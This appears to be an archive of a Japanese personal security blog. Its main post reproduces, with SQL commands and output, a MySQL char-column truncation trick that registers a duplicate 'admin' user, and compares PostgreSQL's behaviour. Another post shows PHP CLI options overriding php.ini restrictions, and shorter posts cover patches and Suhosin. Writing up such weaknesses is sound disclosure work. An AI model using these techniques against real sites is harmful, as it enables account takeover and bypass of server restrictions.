Sep - 12th
MySQLのカラム複製脆弱性
Posted at 3:45 pm | Filed Under MySQL, PHP, PostgreSQL, Security, WordPress
昨日書いたMySQLの脆弱性ですが、手元の環境で見事に再現しました。MySQLのバージョンはCentOSでyumからインストールしたmysql-4.1.20-3.RHEL4.1.el4_6.1です。
手順は以下の通り。まずデータベース、テーブルを作成します。
mysql> create database sec_test; Query OK, 1 row affected (0.02 sec) mysql> use sec_test Database changed mysql> create table test (username char(16)); Query OK, 0 rows affected (0.01 sec)
ご覧の通り、char(16)でusernameというカラムを持つテーブルを作成します。
まず「admin」というusernameを持つ行を作ります。
mysql> insert into test (username) values ('admin');
Query OK, 1 row affected (0.00 sec)
mysql> select count(*) from test where username = 'admin';
+----------+
| count(*) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
出来ています。
次に、問い合わせの文字列部分の後ろに空白を追加してみます。全部で16文字になるようにしました。
mysql> select count(*) from test where username = 'admin '; +----------+ | count(*) | +----------+ | 1 | +----------+ 1 row in set (0.00 sec)
後ろの空白が無視されているのがわかります。update:正確にいえば、char型なので指定された長さ未満の文字列は空白文字で埋められるみたいです。null文字とかじゃないんですね。
次に、char(16)の範囲を超えたところで「x」を追加して検索してみます。
mysql> select count(*) from test where username = 'admin x'; +----------+ | count(*) | +----------+ | 0 | +----------+ 1 row in set (0.00 sec)
さすがにヒットしませんでしたが、そもそもカラムの制限長を超えているのにエラーにはなりません。
では、この値をINSERTしてみます。
mysql> insert into test (username) values ('admin x');
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select count(*) from test where username = 'admin';
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.01 sec)
「admin」としてINSERT出来てしまいました。
これで、(1)既存のデータに重複行があるかチェック(2)なければINSERT、という処理で重複登録を防ごうとしてもダメなことがわかります。
ちなみにPostgreSQL 7.4.19でテストすると
db_test=# create table security_test (username char(16));
CREATE TABLE
db_test=# INSERT INTO security_test (username) VALUES ('admin');
INSERT 0 1
db_test=# SELECT COUNT(*) FROM security_test WHERE username = 'admin';
count
-------
1
(1 row)
db_test=# SELECT COUNT(*) FROM security_test WHERE username = 'admin ';
count
-------
1
(1 row)
db_test=# SELECT COUNT(*) FROM security_test WHERE username = 'admin x';
count
-------
0
(1 row)
db_test=# SELECT COUNT(*) FROM security_test WHERE username = 'admin ';
count
-------
1
(1 row)
db_test=# INSERT INTO security_test (username) VALUES ('admin x');
ERROR: value too long for type character(16)
db_test=# SELECT COUNT(*) FROM security_test WHERE username = 'admin';
count
-------
1
(1 row)
db_test=#
INSERTはできません。8.3.3でも。
db_test=# create table test (username char(16));
CREATE TABLE
db_test=# INSERT INTO test (username) VALUES ('admin');
INSERT 0 1
db_test=# SELECT count(*) FROM test WHERE username = 'admin';
count
-------
1
(1 row)
db_test=# SELECT count(*) FROM test WHERE username = 'admin ';
count
-------
1
(1 row)
db_test=# SELECT count(*) FROM test WHERE username = 'admin x';
count
-------
0
(1 row)
db_test=# SELECT count(*) FROM test WHERE username = 'admin ';
count
-------
1
(1 row)
db_test=# INSERT INTO test (username) VALUES ('admin x');
ERROR: value too long for type character(16)
INSERT時にあふれた分が勝手にカットされることはありませんでした。
Sep - 10th
WordPress 2.6.2はセキュリティ修正
Posted at 6:06 pm | Filed Under PHP, Security, WordPress
WordPress2.6.2が出たのでさっそく更新したが、今回のリリースにはセキュリティ関連の修正が入っていた。
PHPのrand関数はlibcのrandのラッパで、mt_randはメルセンヌ・ツイスタ擬似乱数生成装置の実装なのだが、どちらも32ビット型符号なし整数をシードにしている。しかし、実装の問題により実際にはそれ以下の強度にしかならないそうだ。そのため、暗号化に際してこれらの関数を利用するのは不適切ということになる。それに対処したようだ。
MySQLではデフォルトでサーバとクライアント間で送信されるクエリとその応答の長さがmax_packet_sizeディレクティブ(っていうのかな?それはApacheだけ?)で1MBに制限されている。もし1MBを超えたクエリがクライアントから送信された場合、MySQLサーバ側でエラーとして処理してしまう。
たとえば、期限の切れたセッションデータをDBから削除するようなクエリがあり、意図的にこのクエリが長くなるようなデータをセッションに埋め込むことができれば、クエリはいつまでも実行されず、何かしら問題が起きることになる。
update: もっとすごい問題があった。
MySQLにこんなクエリを投げる。
SELECT * FROM user WHERE username = 'admin';
たとえば、ユーザ登録の際に登録名の重複チェックをしているとしよう。WordPressのように、そのサイトにはadminという名のユーザが必ず存在するとして考える。新規のユーザが登録時に「admin」という名前を使おうとすると、上のようなクエリでチェックが行われ、すでに登録されている名前であるとしてアプリケーションによって登録がはじかれる。まあ、そういう仕組みのウェブアプリがあるものと思ってもらいたい。
このusernameというカラムが、たとえばchar(16)だったとする。MySQLではSELECTによる比較時にクエリ内の文字列の後ろの空白は無視されるようになっている。「admin 」だと、
SELECT * FROM user WHERE username = 'admin ';
こうなるが、実際には最初のクエリと同じ扱いになる。
ところで、じゃあ「admin x」という名前を使おうとしたらどうなるだろう。ここでは意図的に名前をchar(16)から外れるようにした。数えにくいかもしれないが、17文字ある。
SELECT * FROM user WHERE username = 'admin x';
MySQLでは、比較の際にはカラムの型を無視してくれるので、上のSQLは何も返ってこない。つまり、新規登録可能なユーザ名として認識される。そこで、INSERET処理を実行すると、今度はカラムの型をみて余分なところはカットし、さらに後ろの空白を取り除くので、あれま、「admin」という名前でユーザ登録が完了してしまう。
これでadminアカウントの乗っ取りが完了する。ひええ。
もちろん、UNIQUE INDEXで対処することは可能だが、そうでないアプリケーションなら困ったことになる。
未検証なのでなんともいえないが、本当だったらこわい。
update:再現しますた。
Jul - 17th
PHPのセキュリティ修正
Posted at 4:59 pm | Filed Under PHP, Security
今朝デスクトップのCentOSでPHPのパッケージがPHP-5.1.6-20.el5_2.1に更新されていたので調べたら、RedHatからセキュリティ関連の更新がかかっていた。
解消されたのは以下の問題:
escapeshellcmdとhtmlspecialchars、htmlentities関数がマルチバイト文字列を正しく扱うことができず、クォート処理を回避されてしまう問題
add_rewrite_var()やsession.use_trans_sidを利用してリンク文字列やフォームに自動的にセッションIDを付与している場合、「ACTION」を含むフォームで外部のウェブサイトを飛び先に指定しているのにセッションIDを付与してしまう問題
fnmatch関数(聞いたことがなかった)で引数の文字数制限がないためオーバーフローを引き起こされる問題
randやmt_rand関数で生成される乱数が予測可能になっていた問題
とのこと。
しかし、BugtraqをみるとPHP-5.3.2以前のバージョンにある不具合だったりするのに、RHEL4のパッチが出ていないのがよくわからない。4.3.9系のパッケージが入っていたような気がするのだが。
May - 2nd
PHP-5.2.6
Posted at 4:29 pm | Filed Under PHP, Security
変更点はこんなかんじ。CVE-2008-0599ってのはPATH_TRANSLATEDの扱いに不具合があって、そこが脆弱性に繋がる可能性がある(参照)とのこと。
Apr - 26th
WordPress 2.5.1
Posted at 7:17 pm | Filed Under Security, WordPress
公表されていないセキュリティ上の問題が修正されたWordPress2.5.1がリリースされている。
うちのサーバはみんな更新した。
Feb - 7th
WordPress更新
Posted at 8:58 pm | Filed Under Security, WordPress
セキュリティ更新。xmlrpc.phpに問題があったらしい。詳細はまだ見ていないが、どうやら第三者に投稿権限が奪取されてしまうようだ。
Jan - 9th
CentOS 5にはfshが入っていなかった
Posted at 10:43 pm | Filed Under Linux, Security, Tuit
CentOS 4に入っていたfshがCentOS 5のyumでは見付からないのでどうしたのかと調べていたら、fshはPython2.4ではちゃんと動かないという問題があるのがわかった。いちおう、探すとパッチは見付かった。いまのところ問題なく動作している。
でも、製品レベルのものに使うのは無理だなあ。fshの更新はそもそも2001年から止まっている状態だし。
誰かPythonの人がいたら、ちょっくらメンテナンスしてほしいなあ。
Dec - 1st
Suhosin0.9.21
Posted at 4:55 pm | Filed Under PHP, Security
今回追加された機能の中で作者が強調しているのは以下の二つ(抄訳):
suhosin.server.strip
デフォルトでオンになるこの機能は、$_SERVER変数のPHP_SELFとPATH_TRANSLATEDに「< > ‘ ” `」が含まれているかどうかをスキャンして「?」に置き換えます。多くのPHPアプリケーションでこれらの値があっても汚染されていないと見なしているわけで、これによりXSS脆弱性の多くを防ぐことが出来ます。suhosin.server.encode
デフォルトでオンになるこの機能は、$_SERVER変数のREQUEST_URIとQUERY_STRINGに「< > ‘ ” `」が含まれているかどうかをスキャンします。これらの値は全て通常は送信される前にブラウザによってエンコードされるため、多くのアプリケーションではREQUEST_URIやQUERY_STRINGは安全と見なされています。しかし、Internet Explorerのようなブラウザではこれらの値はエンコードされず、多くのXSS脆弱性を引き起こします。Suhosinはこれらの変数の値をURL-Encodingすることでアプリケーションを防御します。
ううん、マルチバイトの扱いとかが気になるところか。それに、単純に置き換えられてしまうと支障のあるケースも多いので、最適な解決とは言い難い面もある。作者もアイデアを募集している。
Oct - 25th
PHPをCLIで実行するとphp.iniによるセキュリティ制限は無意味なんだね
Posted at 8:07 pm | Filed Under PHP, Security
PHPをCLIモードで実行するとき、オプションに「-d」を指定するとphp.iniなどで設定された値を実行時に上書きできる。ふとヘルプを見たら、そんなオプションがあるのに気付いた。
<?php
print(ini_get('include_path') . "\n");
?>
これを実行すると
$ php -q test.php ./:/usr/lib/php/
こうなるとする。そこで-dオプションを付けると
$ php -q -d include_path=./:/usr/sbin test.php ./:/usr/sbin
こうなる。ふーん、と思ったが、ふと思い立って
<?php
print(ini_get('safe_mode_gid') . "\n");
?>
このディレクティブはPHP_INI_SYSTEMなのでphp.iniかhttpd.confでしか設定できないものだ。ところが
$ php -q test.php $
手元の環境ではOffなので何も返されないが、
$ php -q -d safe_mode_gid=On test.php 1 $
こうするとちゃんとOnになった。つまり、ディレクティブの制限はCLIで実行すれば一般ユーザでも簡単に変更出来てしまうというわけだ。
もうとっくに知られていることなのかもしれないが、これはいくらなんでもちょっとマズいと思われる。CLI用のiniファイルを指定していても、
$ touch ./dummy.ini $ php -c ./dummy.ini -d safe_mode_gid=On ./test.php 1
実行時にiniファイルなんて自分で指定できるので意味がない。まあ、もっともこうやって指定できる時点でiniファイルによるセキュリティ制限など存在しないわけだが。
というわけで、php.iniによるセキュリティ制限はCLIの実行時には全く無意味であることがわかった。めでたしめでたし。
Oct - 19th
楽天
Posted at 12:16 pm | Filed Under Security, Uncategorized
楽天の社内から「業務に無関係」とみなされたサイトへのアクセスは変なリファラが残る。
コンプライアンスって素敵ですね。
keep looking »